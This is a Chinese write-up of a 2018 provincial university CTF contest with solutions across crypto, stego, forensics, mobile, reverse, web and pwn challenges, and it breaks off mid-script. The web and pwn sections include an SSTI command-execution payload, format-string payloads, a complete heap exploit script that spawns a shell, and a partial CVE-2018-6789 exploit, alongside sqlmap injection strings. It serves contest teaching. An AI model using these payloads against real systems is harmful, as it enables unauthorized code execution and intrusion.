歡迎來到山東省大學生網絡安全技能大賽!
首頁 > 大賽最新通知

第七屆山東省大學生網絡安全技能大賽Writeup

發布人:admin 發布時間:2018-11-7 瀏覽數:934

第七屆山東省大學生網絡安全技能大賽Writeup

本次大賽,組委會提供答題平臺、題目、復現地址,可查看:http://47.105.148.65:4000

Misc - 3

1.Crack it

題目描述

破解該文件,獲得密碼,flag格式為:flag{*******}

考點

shadow文件破解

解題過程

kali下,無需加載字典,john直接破解即可。

image.png

2.進制轉換

題目描述

二進制、八進制、十進制、十六進制,你能分的清嗎?

考點

編程基礎、進制轉換

解題過程

import binascii

text = "d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e"
solution = ''
text2 = text.split(' ')
for x in text2:
    print x
    if x[0] == 'b': #binary
        solution += chr(int(x[1:],2))    
    elif x[0] == 'x': # hexadecimal
        solution += x[1:].decode("hex")    
    elif x[0] == 'd': # decimal
        solution += chr(int(x[1:]))    
    elif x[0] == 'o': # octal
        solution += chr(int(x[1:],8))
print solution

3.basic

題目描述

黑,白,黑白,黑黑白白。

考點

python像素點寫圖片

解題過程

from PIL import Image

x = 150
y = 900

im = Image.new("RGB", (x, y))
file = open('basic.txt')

for i in range(0, x):
    for j in range(0, y):
        line = file.readline().replace('(','').replace(')','') 
        rgb = line.split(",")
        im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))

im.show()

Crypto - 3

1.affine

題目描述

y = 17*x-8 flag{szzyfimhyzd}

答案格式:flag{********}

考點

仿射加密

解題過程

仿射加密,直接解密即可。

image.png

2.rsa

題目描述

請破解密文

考點

rsa wiener attack

解題過程

ne已經給出,可以看出e特別大,在e特別大的情況下,可以使用wiener attack的方法進行破解,正好工具RsaCtfTool集成了wiener attack的方法,所以可以直接使用RsaCtfTool計算私鑰, 如下所示: 

image.png

image.png

使用pqe直接解密密文,得到flag,代碼如下所示:

#coding:utf-8
from libnum 
import n2s,s2nimport base64
def gcd(a, b):   #求最大公約數
    if a < b:
        a, b = b, a    
    while b != 0:
        temp = a % b
        a = b
        b = temp    
    return a
def egcd(a, b):
    if a == 0:        
    return (b, 0, 1)    
else:
        g, y, x = egcd(b % a, a)        
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)    
    if g != 1:        
       raise Exception('modular inverse does not exist')    
    else:        
       return x % mif __name__ == "__main__":
    p=15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199
    q=28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003
    e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
    # tmp = base64.b64decode("qzogS7X8M3ZOpkUhJJcbukaRduLyqHAPblmabaYSm9iatuulrHcEpBmil7V40N7gbsQXwYx5EBH5r5V2HRcEIOXjgfk5vpGLjPVxBLyXh2DajHPX6KvbFpQ8jNpCQbUNq8Hst00yDSO/6ri9dk6bk7+uyuN0b2K1bNG5St6sCQ4qYEA3xJbsHFvMqtvUdhMiqO7tNCUVTKZdN7iFvSJqK2IHosIf7FqO24zkHZpHi31sYU7pcgYEaGkVaKs8pjq6nbnffr4URfoexZHeQtq5UAkr95zD6WgvGcxaTDKafFntboX9GR9VUZnHePiio7nJ3msfue5rkIbISjmGCAlj+w==")
    #  = 
    d = modinv(e, (p - 1) * (q - 1))    # c=s2n(tmp)
    c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
    #c = 225031483444634056931067907865853799650197225351377050632290334721073031287701730297815850654473721939907812470206115171738967740183098960272963323728747481560137205796840356532306950935686580268408289864109695494835661414073083573249882362332920722000099781994315336570711188934565379141406727420346806389405536474102730682155998263607095718543239272202402139286809779368710600842078606046563228470023546348908618719147790859257980882643030144242048154566691808688844513142261099020381730517293884263384819159874220288293023868919557980548807831273449743064237407705987056818011286315950476959812697067649075359373253
    n = p*q
    m=pow(c,d,n)    
    print n2s(m)

3.神秘的代碼

題目描述

xor

考點

xor+aes_ecb

本題出的有些腦洞,已暴打出題人...

解題過程

將明文與密文進行異或,得到一段hint,如下所示:

i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you...but Hydra has had its diffErences with you in the past, so i'm not going to maKe it vEry simple for You ....ecb...aes(I Vouch for this: 12345)...md5(this)...base64...

這里將大寫字母提取出來,是THISTHEKEYIV,后面又提示是aes_ecb,所以這里有一個坑點,這個大寫字母的組合并不是aes算法的key,所以也不能用來解密,然后后面又提示是md5(this),即將整段話進行md5,然后進行解密,最后的代碼如下:

import base64
import hashlib
from Crypto.Cipher import AES

def readfile(path):
    with open(path, 'r') as f:        
        return f.read()
def xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
# read the files
clear = readfile('info_clear.txt')
crypt = readfile('info_crypt.txt')
superhero = readfile('true_crypto.txt')
superhero = base64.b64decode(superhero)

# get the key
dec = xor(clear,crypt).rstrip('\n').encode('utf-8')
print(dec)
key = hashlib.md5(dec).hexdigest().encode()
print(key)

# decrypt aes-ecbcipher = AES.new(key, AES.MODE_ECB)
msg = cipher.decrypt(superhero)
print(msg)

Stego - 3

1.啊噠

題目描述

有趣的表情包

考點

exif、隱藏壓縮包

解題過程

拿到之后是一個jpg文件,先使用binwalk分析下文件,得到圖片中隱藏了一段tiff信息以及一個壓縮包,都分離出來,發現壓縮包被加密了,tiff信息在相機型號出處有一段十六進制,轉換成字符串以后是sdnisc_2018,如下圖所示: 

image.png

使用這個密碼解密壓縮包,即可獲得flag

2.color

題目描述

你見過彩虹嗎?

考點

拉長圖片,二進制轉字符串。

解題過程

查看每張圖片的最低位,發現有變化。組成之后是一句話:

Make Me Tall

根據提示意思應該是要調整png的尺寸,擴大高度。

發現原來圖像下部,有黑白塊兒,按照黑->1,白->0轉化成二進制數。

1111111101011110111111111011111110111111 
00001100101010110001 01001010010000001101 11010011011101010111 
1001101101101011011000111001101101111101

經過多次嘗試之后發現,每一列,七個數字組成一個字符,進行二進制轉化之后即可得到flag。

#coding:utf-8
def encode(s):
    return ' '.join([bin(ord(c)).replace('0b', '') for c in s])
def decode(s):
    return ''.join([chr(i) for i in [int(b, 2) for b in s.split(' ')]])

l = [''] * 7

f = open('code.txt', 'r') # 01矩陣
for i in range(7):
    j = 0
    line = f.readline().replace('\n','')
    l[i] = line
# print l

## 矩陣初始化
ll=[''] * 20
for i in range(len(ll)):
    ll[i]=[''] * 7
## 矩陣翻轉
for i in range(20):    
    for j in range(7):
        ll[i][j] = l[j][i]
# print  ll

flag = ''
for i in ll:
    t = ''.join(i)
    flag += decode(t)
    
print flag

3.神秘的文件

題目描述

考點

明文破解 + doc隱寫

解題過程

將題目解壓出來,題目壓縮包里有個logo.png和一個加密壓縮包,很明顯的明文破解,使用題目壓縮包作為key和writeup壓縮包進行明文破解(或者使用2345好壓的標準壓縮算法壓縮logo.png),得到密碼: 

image.png

解壓后得到doc文件,當成壓縮包解密,能找到flag.txt中有一串base64編碼的字符串,解碼即可。

Forensic - 5

1.特殊后門

題目描述

從通信方式的角度看,后門可分為http/https型、irc型、dns型、icmp型等等。安全人員抓到一份可疑的流量包,請從中分析出利用某種特殊協議傳輸的數據。

考點

攜帶數據的ICMP包分析

解題過程

使用科來分析工具進行全面分析,可以看到數據包數量不多,使用協議瀏覽器查看流量包:

image.png

逐個查看特殊協議,可以發現ICMP協議數據包中的數據:

image.png

依次查看ICMP包,拼接即可得到flag。

flag

flag{Icmp_backdoor_can_transfer-some_infomation}

2. weblogic

題目描述

黑客攻擊了Weblogic應用,請分析攻擊過程,找出Weblogic的主機名。flag格式:flag{}

Tip:主機名為十六進制。

考點

weblogic 攻擊流量審計。模擬了爆破weblogic登錄密碼,通過部署war包getshell,執行命令獲取hostname的操作。

解題過程

使用科來分析工具打開流量包,在數據包選項中,Ctrl+F搜索字符串hostname,可以找到編號為658、662的數據包當中存在hostname關鍵詞。

image.png

其中編號662數據原地址為服務端,是http的Response包。右鍵解碼數據包,可以很直觀的看到服務端返回的內容:

image.png

3. 日志審計

sqlmap盲注日志審計。

題目描述

請從流量當中分析出flag。

考點

本題考查根據日志,還原sqlmap采用二分法注入獲得的數據。

解題過程

題目是sqlmap采用二分法進行注入的日志,辦法很多,可以手撕,可以根據特征進行分析。

這里舉例說一種。如果對Apache日志熟悉的話,應該知道,access.log里面會記錄Response的狀態碼和Response包的長度。猜解正確或錯誤,返回的長度是不同的。

urldecode解碼幾條記錄:

id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>96 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>112 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>120 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>124 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>126 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476 
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>125 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

以猜解的第24位為例,猜解正確的時候,返回的狀態碼為200,長度為1765;猜解錯誤的狀態碼為404,長度為5476。而且可以得出結論,sqlmap采用二分法進行注入的時候,正確的值為最后一次進行>比較正確的值+1,即為125。

簡單寫個腳本,匹配一下即可。

# coding:utf-8
import re
import urllib

f = open('access.log','r')
lines = f.readlines()
datas = []for line in lines:
    t = urllib.unquote(line)    
    if '1765' in t and 'flag' in t:  # 過濾出與flag相關,正確的猜解
        datas.append(t)

flag_ascii = {}  
for data in datas:
    matchObj = re.search( r'LIMIT 0,1\),(.*?),1\)\)>(.*?) AND', data)   
    if matchObj:
        key = int(matchObj.group(1))
        value = int(matchObj.group(2))+1
        flag_ascii[key] = value     # 使用字典,保存最后一次猜解正確的ascii碼
        
flag = ''
for value in flag_ascii.values():
    flag += chr(value)
    
print flag

4.安卓木馬分析

題目描述

在某次安全檢查中,工作人員在受害者手機中提取到了兩個apk文件,其中有一個是木馬,請找到木馬文件,并分析出該木馬的C&C通信服務器域名。flag的提交方式為:flag{域名},如你分析出的結果是http://www.baidu.com ,那么flag就是flag{www.baidu.com}

考點

安卓木馬分析+異或解密

解題過程

通過權限分析與常識判斷,木馬文件為apk_1.apk,使用jeb打開該文件,搜索geturl。

image.png

發現改木馬將C&C服務器IP地址加密于logo.png文件中:

image.png

image.png

用editplus打開logo.png發現并非明文,應該是采用了某種加密。

image.png

向上查看代碼,發現使用的加密方式為異或加密,加密因子如下:

image.png

編寫如下解密腳本:

#coding:utf-8

import sys

def decrypt2url(decryptedfile):
    f = file(decryptedfile, "r")
    buf = f.read()
    bs = map(ord, buf) # 將字節流存儲為10進制的list
    sizz = len(bs)    
    for i in range(0, sizz, 2): # 將后面的字與前面的字交換存儲
        if i >= sizz / 2 : break
        d = bs[i]
        bs[i] = bs[sizz - 1 - i]
        bs[sizz - 1 - i] = d
    ss = ''.join(map(chr, bs)) # 將字節流轉成字符串
    bs2 = ss.split(',')
    bss = list(bs2)
    sout = ''
    for i in range(0, len(bss), 2):
        sout = sout + chr(int(bss[i]))
    print( "[+] C&C: ", sout)
    
def main(filename):
    PASS = ''.join(chr(x) for x in [9, 5, 9, 8, 5]) # 解密的原子

    infile = file(filename, "rb")
    outfile = file(filename[:-4]+".txt", "wb")
    i = 0
    while 1:
        c = infile.read(1)        
        if not c:            
            break
        j = i % 5
        d = PASS[j]
        c = chr(ord(c) ^ ord(d))
        i = i + 1
        outfile.write(c)
    outfile.close()
    infile.close()
    decrypt2url(filename[:-4]+".txt")
    
if __name__ == '__main__':
    main(sys.argv[1])

運行解密代碼python decrypt_url.py logo.png 得到C&C服務器地址:http://www.fineandroid.com/

image.png

flag

flag{www.fineandroid.com}

5.PC木馬分析

題目描述

安全分析人員在一次取證中,提取到一枚木馬,但是他在虛擬機沙箱中運行該木馬樣本時并沒有抓到這個木馬的C&C服務器,你能幫他分析出這個木馬的C&C通信服務器IP和端口么?flag提交方式flag{IP:端口},如IP為127.0.0.1,端口為8080,那么flag為:flag{127.0.0.1:8080}

考點

反虛擬機、反調試、睡眠延時繞過,進程檢測,脫殼。

解題過程

使用OD調式查看,發現木馬本身做了簡單的反VM虛擬機、反調試、進程檢測以及超長Sleep延遲,且樣本代碼做了混淆,直接使用常規靜態規則檢測與動態沙箱檢測,無法獲取外連行為。

image.png

源碼注解如下:

image.png

image.png

使用RH查看資源,發現有內嵌exe,猜測exe為內嵌模塊。

image.png

提出為dump.exe:
image.png

在虛擬機中調試執行,使用火絨劍檢測行為

image.png

自刪除,執行隱藏,連接網絡控制服務器

image.png

flag

flag{56.45.123.21:55233}

Mobile - 3

1.signin

題目描述

君遠至此,辛苦至甚。
竊謂欲狀,亦合依例,并賜此題。
(來吧,簽個到熱個身。)

考點

反編譯、資源文件等基礎知識

解題過程

反編譯后打開 MainActivity,可以發現關鍵方法 checkPassword,該方法取內置字符串反轉后進行 Base64 解碼,將結果與輸入內容比較,相等則通過驗證。

image.png
根據上述分析,需要獲得 getFlag 方法的返回值,查看上圖中 getFlag 方法的反編譯代碼,可以看出該方法在資源中獲取到字符串后作為返回值返回,故直接去資源文件中查找對應的字符串進行上述運算后即可得到此題Flag。

image.png
image.png


image.png

2.fake-func

題目描述

真亦是假,假亦是真

考點

Android native

解題過程

so逆向分析,算法分析。程序中加載了一個so check字符串,init_array中對strcmp函數做了hook,在check函數中比較字符串的時候會進入被hook的strcmp然后做一個aes的運算,aes的密鑰是動態的base64。

jadx先打開看MainActivity

public class MainActivity extends AppCompatActivity {    
    protected void onCreate(Bundle savedInstanceState) {        
    super.onCreate(savedInstanceState);
    setContentView((int) R.layout.activity_main);
    ((Button) findViewById(R.id.button)).setOnClickListener(new OnClickListener() {            
        public void onClick(View v) {                
            if (Check.checkflag(((EditText) MainActivity.this.findViewById(R.id.editText)).getText().toString())) {
                Toast.makeText(MainActivity.this, "you are right~!", 1).show();
                } else {
                    Toast.makeText(MainActivity.this, "wrong!", 1).show();
                }
            }
        });
    }
}

調用了so中的Check.checkflag函數校驗flag,定位到so中的函數

signed int __fastcall Java_com_testjava_jack_fakefunc_Check_checkflag(int a1)
{  
  signed int v1; // r4
  const char *v2; // r5

  v1 = 0;
  v2 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
  j_getKey();
  _android_log_print(4, "INJECT", "asdasd");  
  if ( !strcmp(v2, "this_is_easy_so") )
    v1 = 1;  
  return v1;
}

發現是與一個固定的字符串對比

但是嘗試一下程序中提交this_is_easy_so并不對,查看導出表信息,發現存在init_arrary里面對strcmp進行了Inline hook,定位到fake function。發現是aes,key就是動態解密的固定base64字符串。解密得到flag。

本題關鍵在定位到init_arrary中的函數。另外可以看到符號中有inline hook之類的函數。這題應該再把這幾個符號也去掉。

flag

flag{fake_func_3nfxvs}

3.MagicImageViewer

題目描述

剛寫完"高強度"加密代碼,就被開除了。

是不是因為我沒寫注釋?

考點

  • Android native

  • 算法漏洞分析

    解題過程

    程序首先判斷輸入內容的長度是否為 16,相等的話將輸入內容傳入 getKey 方法中,這里將返回內容記為 key,之后將 key 傳入 readMagicImage 中解密圖片。

image.png


繼續分析 readMagicImage。
image.png

可以看出該方法逐字節處理文件內容,key 中的字符循環使用作為參數傳入 decrypt 方法中獲取解密結果。

至此 java 層代碼分析完畢,可以得知輸入長度為 16,key 由輸入內容進行某種變換得來,關鍵方法為 getKey  decrypt。接下來分析 native 層方法,按順序從 getKey 開始。

image.png
getKey 方法將輸入內容與固定字符串 Welcome_to_sdnisc_2018_By.Zero 相同位置上的字符進行異或運算,循環完成后得到變換后的 key。

接下來繼續看 decrypt 方法。

image.png

從上圖中可以看出 decrypt 方法十分簡潔,解密算法只涉及減法異或。

整理上述過程中得到的信息,重要的 key 未知,無法解密圖片,但是回顧整個算法流程,結合異或運算的特性,如果有加密前的圖片文件內容,就可以還原出 key,那問題來了,這個加密前的內容從哪來呢?

從細節出發。

通過反編譯代碼中的文件名 encrypt_png.dat 或者后期給的 hint 中都可以得知一個相同的信息,dat 文件是由 png 格式加密得來的。

每種文件格式都有固定的文件結構,通過最開始的分析已經知道輸入長度為 16,而這個長度正好在 png 文件格式 File header + header chunk 的范圍內,也就是說加密前的內容現在已經知道了,直接腳本走起。
image.png

image.png

Reverse - 3

1. file

題目描述

出題人有個不好的習慣,總喜歡清除回收站,這次在出題的過程中又把文件給刪了,你能幫他還原回來嗎?
flag無標準格式,提交答案請加上flag{}

考點

解題過程

elf文件,拖入IDA反編譯,分析算法,如下圖:
image.png

其中sttr_home、flllag變量數組的固定值,均可在IDA中找到。

image.png

那么該題的算法就很簡單了k ^ input[k] ^ v11[k],v11數組是sttr_home變量數組中的16進制轉化為10進制,使用python很容易實現轉換。

image.png

這里說一下為什么,最后輸出了16進制,因為題目描述里說讓大家幫出題人找丟失的文件,程序中也提到,flag是文件的MD5值,所以我們的python腳本,不是直接就可以跑出來flag的,需要跑出來16進制然后寫入文件,得到文件的MD5值作為flag進行提交。
image.png

這里也是一個坑點,有些選手看到跑出來了不可見字符,就懷疑算法的正確性。

解題腳本如下:

strs = [0x66,0x4e,0x6,0x22,0x66,0x25,0x42,0x5d,0x56,0x2e,0x76,0x6e,0x4,0x2d,0x42,0x2c,0x7,0x2c,0x45,0x69,0x2d,0x12,0x5c,0x7e,0x65,0x52,0x60,0x69,0x54,0x64,0x66,0x43]
strss = "flag{hello_player_come_on_hahah}"
for i in range(len(strs)):    
    print hex(strs[i] ^ ord(strss[i]) ^ i),

flag

flag{914a7b9df69eab5b74b9edb7070e53e8}

2.not only smc

題目描述

所見非所得

考點

解題過程

主程序直接跑shellcode,shellcode里面執行校驗,取用戶輸入的一部分對校驗函數解密。穿插了一些花指令,沒好意思上vm,最外層只加了一個upx,shellcode里面對upx進行了檢測,脫殼之后是不能運行的,直接od里面動態分析,斷VirtualAlloc,定位到shellcode smc解密,shellcode部分簡單的0x25異或自解密,解密出來在0x10001000處是主要的代碼段,取輸入的第8位后面的5位來解密校驗函數

10002DA8   /EB 0F           jmp short 10002DB9
10002DAA   |8B8D 1CFFFFFF   mov ecx,dword ptr ss:[ebp-0xE4]
10002DB0   |83C1 01         add ecx,0x1
10002DB3   |898D 1CFFFFFF   mov dword ptr ss:[ebp-0xE4],ecx
10002DB9   \8B95 1CFFFFFF   mov edx,dword ptr ss:[ebp-0xE4]
10002DBF    3B55 E4         cmp edx,dword ptr ss:[ebp-0x1C]
10002DC2    73 2E           jnb short 10002DF2
10002DC4    8B45 FC         mov eax,dword ptr ss:[ebp-0x4]
10002DC7    0385 1CFFFFFF   add eax,dword ptr ss:[ebp-0xE4]
10002DCD    0FB608          movzx ecx,byte ptr ds:[eax]
10002DD0    8B85 1CFFFFFF   mov eax,dword ptr ss:[ebp-0xE4]
10002DD6    99              cdq10002DD7    BE 05000000     mov esi,0x5
10002DDC    F7FE            idiv esi
10002DDE    0FBE5415 D8     movsx edx,byte ptr ss:[ebp+edx-0x28]
10002DE3    33CA            xor ecx,edx
10002DE5    8B45 FC         mov eax,dword ptr ss:[ebp-0x4]
10002DE8    0385 1CFFFFFF   add eax,dword ptr ss:[ebp-0xE4]
10002DEE    8808            mov byte ptr ds:[eax],cl

由于vc下面stdcall的函數頭基本固定,可猜出解密函數的key為:jUnk_

解密出這個函數來要分析這個函數,中間穿插了些花指令,帶著分析麻煩的話就寫腳本去除,特征還是比較明顯的。最終得到解密代碼如下:

void dec_xor2(BYTE *szInput, int nCount){    
    if ( nCount == 0 )        
        return ;    
    for (int i = 0; i < nCount; ++i )
        szInput[nCount + i] ^= szInput[i];
    dec_xor2(szInput, nCount >> 1);
}

void dec_xor1(BYTE *szInput, int nCount){
    dec_xor2(szInput, 16);    
    if (nCount)
    {
        dec_xor1(szInput,nCount-1);
    }    else
        return;
}

void MakeArray(int nBase,BYTE *pbData,DWORD dwSize){
    nBase = nBase*2+10;
    
    BYTE bArray[50] = {0};    
    for (int i=0;i<50;i++)
    {
        bArray[i] = (nBase*(i+10)-9)%256;
    }    
    int nCount = 0;    
    for(DWORD dw =0;dw<dwSize;dw++)
    {        
        if (nCount == 50)
        {
            nCount=0;
        }
        pbData[dw]^=bArray[nCount];
        nCount++;
    }
}


BYTE bCmp[] = {    
    0xE8,0x90,0x24,0xE6,0x0A,0xE3,0xF7,0xA8,0x09,0xC0,0x35,0x74,0x26,0x4D,0xA0,0x2D,    
    0xD6,0x1A,0x5A,0x5C,0x16,0x2D,0xF0,0x46,0x44,0x10,0x5F,0x83,0x5B,0xBE,0x86,0xAC,
};

dec_xor1((PBYTE)bCmp,64);
MakeArray(56,(PBYTE)bCmp,sizeof(bCmp));

得到flag:SMc_AnD_jUnk_C0de_1s_s0_fuunn~!

本題需要帶殼分析,不要去脫殼,或者dump shellcode里面打包的dll,修復下pe頭即可。然后分析dll,dll里面的花指令去掉會明朗很多。

3.babyLoginPlus

題目描述

babyLogin 新品發布會?!篵abyLogin Plus』哪一面,都是亮(匯)點(編)。

考點

逆向分析

解題過程

此題為簡易VM,只需關注運算操作相關的指令處理方法。

通過動態調試,能夠發現算法很短,記錄下第一個字符的處理方法調用順序就可以確定算法流程,對密文進行逆運算即可得到此題 Flag。

image.png

image.png

image.png

由于篇幅問題無法在此做詳細介紹,如有疑問可加入 第七屆山東省網絡安全大賽(415964984) QQ群,群內咨詢管理員。

Web

web1 - babyweb

題目描述

復現地址:http://47.105.148.65:29001

考點

http偽造IP,篡改cookie

解題過程

簽到Web題。

image.png

web2 - babyweb2

題目描述

復現地址:http://47.105.148.65:29002

考點

變量覆蓋 + php弱類型 + 條件競爭

解題過程

第一步:http://47.105.148.65:29001/index.php?id=key[99]=QNKCDZO

第二步:最簡單的方法,burp Intruder開兩個任務,一個上傳,一個訪問即可。

image.png

web3 - easy_flask

題目描述

復現地址:http://47.105.148.65:29003

考點

SQLi + SSTI

解題過程

題目提供了Add a Comment和Search Comment兩個功能

首先嘗試SSTI。提交如下內容:
image.png

搜索用戶名,得到結果:
image.png

存在ssti,但是Add a Comment中username和comment兩個參數限制了字符長度,最多提交10個字符,沒法正常運用ssti。

測試search功能,username參數存在sql注入

image.png

有兩個思路可以繼續做。
思路一:將ssti的payload進行切片,存入數據庫,然后使用注入語句進行拼接,觸發ssti。

思路二:使用union select,將ssti的payload直接顯示,觸發ssti。
payload:username=jzxt' union select 1,2,"{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- -

Pwn

Pwn1 - repeater

題目描述

復現地址:nc 47.105.148.65 9999

考點

格式化字符串

解題過程

此題為簡單的格式化字符串漏洞,首先總覽分析一下程序,循環受 totalcount 次數限制,初始值為 1。

image.png


程序提供了 getFlag 方法,但是需要變量 number 0x2018 才會執行命令。

image.png
接下來思路就很清晰了,首先改寫 totalcount 變量,使得循環執行更多次。

payload = fmtstr_payload(4,{0x0804A064:0x3})
p.sendline(payload)

然后改寫 number  0x2018。

payload = fmtstr_payload(4,{0x0804A060:0x2018})
p.sendline(payload)

最后調用 getFlag 方法獲取 Flag。

payload = fmtstr_payload(4,{0x804a01c:0x08048616})
p.sendline(payload)

image.png

PS:Writeup的flag與比賽當時不同。

Pwn2 - bb_tcache

題目描述

復現地址:nc 47.105.148.65 8888

考點

堆的利用。

解題過程

程序提供了 system 地址,可計算出 libc 的地址,利用 __malloc_hook 完成此題。

image.png

image.png

解題腳本:

#!/usr/bin/env python2
# coding: utf-8
# Usage: ./exploit.py -r/-l/-d

from pwn import *
import argparse
import itertools


IP = "10.10.55.153"
PORT = 30059

context.arch = "amd64"
context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
BIN = "./ez_heap"


def r(x): return io.recv(x)
def ru(x): return io.recvuntil(x)
def rud(x): return io.recvuntil(x, drop=True)
def se(x): return io.send(x)
def sel(x): return io.sendline(x)
def pick32(x): return u32(x[:4].ljust(4, '\0'))
def pick64(x): return u64(x[:8].ljust(8, '\0'))


parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

io = None  # this is global process variable

binary = ELF(BIN)

if args.remote:
    context.noptrace = True
    io = remote(IP, PORT)  
    libc = ELF("libc-2.27.so")
elif args.local or args.debugger:
    env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc-2.27.so")}    
    # env = {}
    io = process(BIN, env=env)    
    print io.libs()
    proc_base = io.libs()[        
         "/home/vagrant/cyberpeace/ADWorld/isc_quals/Jeopardy/pwn/ez_heap/source/ez_heap"]
    libc_bb = io.libs()[        
         '/home/vagrant/cyberpeace/ADWorld/isc_quals/Jeopardy/pwn/ez_heap/source/libc-2.27.so']    
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc = ELF("./libc-2.27.so")
else:
    parser.print_help()
    exit()
    
def malloc_heap():
    rud("4. quit!")
    sel(str(1))
    
def free_heap():
    rud("4. quit!")
    sel(str(2))
    
def write_heap(payload):
    rud("4. quit!")
    sel(str(3))
    rud("You might need this to tamper something.")    
    if len(payload) > 8:
        log.critical("May be your PAYLOAD too long!!!!!!")
    se(payload)
    
if args.debugger:
    gdb.attach(io, '''
    b *0x{:x}
    c
    '''.format(
        libc_bb + 0x45254,  # one gadget
        )
    )

ru("I think you might need this: ")
system_addr = int(rud("\n").strip(), 16)
libc.address = system_addr - libc.symbols["system"]
log.critical("libc.address: 0x%x" % libc.address)

new_malloc_hook = libc.symbols["__malloc_hook"] # - 0x20 + 0x5 - 0x8
log.critical("new_malloc_hook address for fastbin attack: 0x%x" % new_malloc_hook)

malloc_heap()
free_heap()
write_heap(p64(new_malloc_hook))
malloc_heap()
malloc_heap()


one_gg = 0x10a38c + libc.address
log.critical("one gadget address: 0x%x" % one_gg)
one_gg = p64(one_gg)

content = one_gg
write_heap(content)

malloc_heap()

io.interactive()

Pwn3 - notepad

題目描述

復現地址:nc 47.105.148.65 7777

考點

cve-2018-6789, 堆溢出

解題過程

本題需要結合主要考察cve-2018-6789漏洞利用,題目邏輯中用到了存在漏洞的base64編碼來進行密碼校驗,因此可以實現單字節溢出,可以覆蓋堆塊的size,實現extend chunk。

解題腳本:

from zio import *

is_local = True
#is_local = False

binary_path = "./notepad"

libc_file_path = ""
#libc_file_path = "./libc.so.6"

ip = ""
port = 0

if is_local:
    target = binary_path
else:
    target = (ip, port)
    
def d2v_x64(data):
    return l64(data[:8].ljust(8, '\x00'))
    
def d2v_x32(data):
    return l32(data[:4].ljust(4, '\x00'))
    
def rd_wr_str(io, info, buff):
    io.read_until(info)
    io.write(buff)
    
def rd_wr_int(io, info, val):
    rd_wr_str(io, info, str(val) + "\n")
    
def get_io(target):
    r_m = COLORED(RAW, "green")
    w_m = COLORED(RAW, "blue")    
    
    #r_m = False
    #w_m = False
    
    #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
    io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})    
    return io
    
from threading import Thread
def interact(io):
    def recv_func():
        while True:            
            try:
                output = io.read_until_timeout(timeout = 1)            
            except:                
                return

    recv_thread = Thread(target = recv_func)
    recv_thread.start()    
    while True:
        send_data = raw_input()        
        if send_data != '':
            io.writeline(send_data)
            
def menu_choice(io, choice, prompt = "choice> "):
    rd_wr_int(io, prompt, choice)
    
def add_record(io, name, passwd, content_size, content):
    menu_choice(io, 1)
    rd_wr_str(io, "> ", name)
    rd_wr_int(io, "> ", 1)
    rd_wr_str(io, "> ", passwd)
    rd_wr_int(io, "> ", content_size)
    rd_wr_str(io, "> ", content)
    
def show_record(io, name, passwd):
    menu_choice(io, 2)
    rd_wr_str(io, "> ", name)
    rd_wr_str(io, "> ", passwd)

def edit_record(io, name, passwd, content_size, content):
    menu_choice(io, 3)
    rd_wr_str(io, "> ", name)
    rd_wr_str(io, "> ", passwd)

